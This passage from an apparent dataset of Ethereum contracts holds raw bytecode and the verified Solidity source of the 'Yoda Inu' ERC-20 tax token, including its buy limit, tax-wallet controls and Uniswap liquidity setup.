ffffffffffff1681526020018281526020019250505060405180910390a15050565b601281565b6a7c13bc4b2c133c5600000081565b60076020528060005260406000206000915054906101000a900460ff1681565b60001515600d60009054906101000a900460ff161515141515611b6157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bbc57600080fd5b6001600d60026101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611c815750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611c8c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cc857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611d2557600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000801515600d60009054906101000a900460ff161515141515611db857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e605750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e6b57600080fd5b6000600c54141515611e7c57600080fd5b60026009819055506000600d60016101000a81548160ff02191690831515021790555042600c819055507fe4aa5e3f9012723c200a69efdcca855ae09af7d70992cc420cce249fee0e09996009546040518082815260200191505060405180910390a16001905090565b60001515600d60009054906101000a900460ff161515141515611f0857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611fb05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611fbb57600080fd5b600081111515611fca57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561200657600080fd5b61205881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b0816012546135ed90919063ffffffff16565b6012819055507f47a75aa311e7576c9a07da850c14f42ffe2864978d7f025084839a75bdcbdac68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000801515600d60009054906101000a900460ff16151514151561214857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121f05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156121fb57600080fd5b600260095414151561220c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561226a57600080fd5b6001600f54141561240f57606460286a129c8f71ad02e2a68000000281151561228f57fe5b0490506123068160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fab07e736c87d6dc8c0a3e05a92d1cfb93c6458b35d2e365490f8b7cc9776ec04600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16002600f819055506125d0565b6002600f5414156125cb576301e13380600c5401421015151561243157600080fd5b6064603c6a129c8f71ad02e2a68000000281151561244b57fe5b0490506124c28160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fab07e736c87d6dc8c0a3e05a92d1cfb93c6458b35d2e365490f8b7cc9776ec04600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16003600f819055506125d0565b600080fd5b50565b60105481565b67016345785d8a000081565b6a129c8f71ad02e2a680000081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b600c5481565b6000801515600d60009054906101000a900460ff1615151415156126a457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061274c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561275757600080fd5b600060105411151561276857600080fd5b600160098190555042600b819055506001600d60016101000a81548160ff0219169083151502179055507f87fcd7085eaabc2418e6a12ac5497cf18368bf4ad51215e24fd4782fa0c0ba576009546040518082815260200191505060405180910390a16001905090565b600069010f0cf064dd59200000600a541015905090565b6a295be96e6406697200000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4b4d58000000000000000000000000000000000000000000000000000000000081525081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156128ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561294a57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129e957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a2557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b600060011515600d60029054906101000a900460ff161515141515612a9257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612ace57600080fd5b600082111515612add57600080fd5b612b2f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135ed90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bc482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60115481565b60008060001515600d60009054906101000a900460ff161515141515612ca157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612d495750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612d5457600080fd5b600090505b84849050811015612e8b5782600760008787858181101515612d7757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffbd9b2cc58ba714cd80b8b0a1c8a6d313a1e20563cf72561feeee6d0d96769bd8585838181101515612e1457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1684604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a18080600101915050612d59565b60019150509392505050565b600d60019054906101000a900460ff1681565b60145481565b6000801515600d60009054906101000a900460ff161515141515612ed357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f7b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612f8657600080fd5b6002600954141515612f9757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612ff557600080fd5b6001600e54141561318b576a295be96e6406697200000090506130828160016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16002600e81905550613190565b600080fd5b50565b600e5481565b69010f0cf064dd5920000081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d60009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156132c857600080fd5b6001600d60006101000a81548160ff021916908315150217905550565b60008073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561334457600080fd5b61338b670de0b6b3a764000061337d670de0b6b3a764000061336f873461360690919063ffffffff16565b61360690919063ffffffff16565b61364190919063ffffffff16565b90506133df81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061347434600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134cc816011546135ed90919063ffffffff16565b6011819055506134e734600a546135cf90919063ffffffff16565b600a81905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561354f57600080fd5b7f540c6de47939116ec4410c0212b0ac3a69886bf8f558dc04fb1360f6ebfea89b33348385604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a1505050565b60008082840190508381101515156135e357fe5b8091505092915050565b60008282111515156135fb57fe5b818303905092915050565b600080600084141561361b576000915061363a565b828402905082848281151561362c57fe5b0414151561363657fe5b8091505b5092915050565b600080828481151561364f57fe5b04905080915050929150505600a165627a7a7230582070115fbe0f1fb59e260709461faa8f57ad1758a768e080e956aaee65ab52a7220029
|
{"success": true, "error": null, "results": {}}
| 3,937 |
0x5792e0966C707abd3662420410d513Cd2B63A2e8
|
/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/yodainuerc20
// Features:
// 1. Initial buy limit 4% of total supply (preventing whales)
// 2. Tax wallet owner can remove buy limit after renouncing ownership (allowing more holders in early stage)
// 3. Tax wallet owner can lower tax after renouncing ownership (prepare launch in other exchange)
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="YODA";
string constant TOKEN_NAME="Yoda Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract YodaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600881526020017f596f646120496e75000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f594f444100000000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a90